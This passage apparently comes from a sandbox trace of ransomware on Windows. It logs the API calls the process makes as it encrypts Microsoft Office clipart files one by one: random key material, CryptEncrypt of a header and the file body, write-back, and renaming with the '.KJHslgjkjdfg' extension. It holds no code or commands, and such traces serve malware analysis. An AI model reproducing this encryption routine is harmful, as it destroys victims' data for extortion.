hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.746] GetProcessHeap () returned 0x2a0000 [0174.747] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.kjhslgjkjdfg")) returned 1 [0174.748] CloseHandle (hObject=0x114) returned 1 [0174.748] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0174.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.749] GetProcessHeap () returned 0x2a0000 [0174.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.749] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0175.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.363] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.363] GetProcessHeap () returned 0x2a0000 [0175.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0175.363] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0175.363] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.363] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0175.364] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0175.364] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0175.364] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0175.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0175.364] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0175.364] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.364] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.364] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c84, lpOverlapped=0x0) returned 1 [0175.367] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c90) returned 1 [0175.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.368] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c90, lpOverlapped=0x0) returned 1 [0175.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.368] SetEndOfFile (hFile=0x114) returned 1 [0175.371] GetProcessHeap () returned 0x2a0000 [0175.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0175.371] GetProcessHeap () returned 0x2a0000 [0175.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0175.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.kjhslgjkjdfg")) returned 1 [0175.372] CloseHandle (hObject=0x114) returned 1 [0175.372] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0175.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0175.373] GetProcessHeap () returned 0x2a0000 [0175.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0175.373] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0175.373] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0175.373] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0175.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.379] GetProcessHeap () returned 0x2a0000 [0175.379] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0175.379] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0175.379] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0175.379] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0175.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0175.379] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0175.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0175.379] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0175.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.380] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x48dc, lpOverlapped=0x0) returned 1 [0175.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x48e0) returned 1 [0175.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.431] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x48e0, lpOverlapped=0x0) returned 1 [0175.431] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x49b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.431] SetEndOfFile (hFile=0x114) returned 1 [0175.434] GetProcessHeap () returned 0x2a0000 [0175.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0175.434] GetProcessHeap () returned 0x2a0000 [0175.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0175.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.kjhslgjkjdfg")) returned 1 [0175.435] CloseHandle (hObject=0x114) returned 1 [0175.436] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0175.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0175.437] GetProcessHeap () returned 0x2a0000 [0175.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0175.437] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0175.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0175.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0175.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.442] GetProcessHeap () returned 0x2a0000 [0175.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0175.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0175.443] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.443] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0175.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0175.443] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0175.443] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0175.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0175.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0175.443] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0175.443] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0175.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.443] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x462e, lpOverlapped=0x0) returned 1 [0175.569] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4630, dwBufLen=0x4630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4630) returned 1 [0175.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.569] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4630, lpOverlapped=0x0) returned 1 [0175.569] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0175.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.569] SetEndOfFile (hFile=0x114) returned 1 [0175.572] GetProcessHeap () returned 0x2a0000 [0175.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0175.572] GetProcessHeap () returned 0x2a0000 [0175.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0175.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.kjhslgjkjdfg")) returned 1 [0175.574] CloseHandle (hObject=0x114) returned 1 [0175.574] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0176.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0176.724] GetProcessHeap () returned 0x2a0000 [0176.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0176.724] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0176.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0176.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0176.755] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0176.756] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0176.756] GetProcessHeap () returned 0x2a0000 [0176.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0176.756] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0176.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0176.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0176.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0176.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0176.756] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0176.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0176.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0176.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0176.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0176.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.757] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x72de, lpOverlapped=0x0) returned 1 [0176.758] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x72e0, dwBufLen=0x72e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x72e0) returned 1 [0176.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x72e0, lpOverlapped=0x0) returned 1 [0176.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0176.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x73b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.760] SetEndOfFile (hFile=0x114) returned 1 [0176.762] GetProcessHeap () returned 0x2a0000 [0176.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0176.762] GetProcessHeap () returned 0x2a0000 [0176.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0176.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.kjhslgjkjdfg")) returned 1 [0176.764] CloseHandle (hObject=0x114) returned 1 [0176.764] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0176.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 